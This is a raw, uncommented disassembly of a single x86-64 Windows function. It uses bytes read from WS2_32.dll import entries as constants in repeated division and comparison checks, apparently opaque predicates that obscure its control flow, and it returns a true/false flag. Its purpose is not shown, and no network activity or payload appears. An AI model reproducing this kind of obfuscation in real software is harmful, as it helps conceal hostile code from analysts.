movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a602d
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si eax, xmm0
jmp 0x1400a6030
mov eax, dword [rbp + 0x48]
cmp r13d, eax
jge 0x1400a675d
xor al, al
jmp 0x1400a675d
mov ecx, r10d
imul ecx, r11d
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
je 0x1400a675d
call fcn.1400752ec
movsx r9d, al
call fcn.1400752f8
movsx r10d, al
call fcn.1400752f0
movsx edx, byte [0x1402a1e80]
xorps xmm2, xmm2
movsx r11d, al
movsx eax, byte [reloc.WS2_32.dll_closesocket]
imul edx, r9d
shl edx, 2
sub edx, r10d
add edx, r11d
add eax, edx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a6122
movsx ecx, byte [0x1402a1e80]
imul ecx, r9d
lea edx, [rcx + rcx*8]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400a6122
mov ebx, r15d
jmp 0x1400a61b6
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a61b3
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si ebx, xmm0
jmp 0x1400a61b6
mov ebx, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
mov r8d, eax
call fcn.1400752e8
movsx edi, al
call fcn.1400752e4
movsx esi, al
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub r8d, ecx
movsx r14d, al
imul r8d, ebx
test r8d, r8d
je 0x1400a6606
movsx ecx, byte [reloc.WS2_32.dll_getsockopt]
mov edx, edi
imul edx, esi
movd xmm1, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
addsd xmm1, xmm1
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
lea eax, [rax + rdx*4]
xor edx, edx
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a6294
movsx ecx, byte [0x1402a1e80]
imul ecx, r9d
lea edx, [rcx + rcx*8]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
jne 0x1400a62eb
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a62eb
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
je 0x1400a675d
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
xorps xmm2, xmm2
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a641b
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
jne 0x1400a64b1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a64ad
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r15d, xmm0
jmp 0x1400a64b1
mov r15d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r15d
test eax, eax
je 0x1400a675d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1402557c0]
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a65a6
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_closesocket]
add r8d, ecx
mov ecx, eax
add ecx, r8d
jne 0x1400a675d
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
je 0x1400a675d
mov al, byte [reloc.WS2_32.dll_htons]
mov al, byte [reloc.WS2_32.dll_htonl]
mov al, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rbp + 0x48]
jmp 0x1400a675d
movsx ecx, byte [reloc.WS2_32.dll_htons]
mov eax, edi
imul eax, esi
xor edx, edx
xorps xmm2, xmm2
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp + 0x48], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a66c2
movsx ecx, byte [0x1402a1e80]
imul ecx, r9d
lea edx, [rcx + rcx*8]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
jne 0x1400a675b
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400a6753
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si eax, xmm0
jmp 0x1400a6756
mov eax, dword [rbp + 0x48]
cmp r13d, eax
jge 0x1400a675d
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret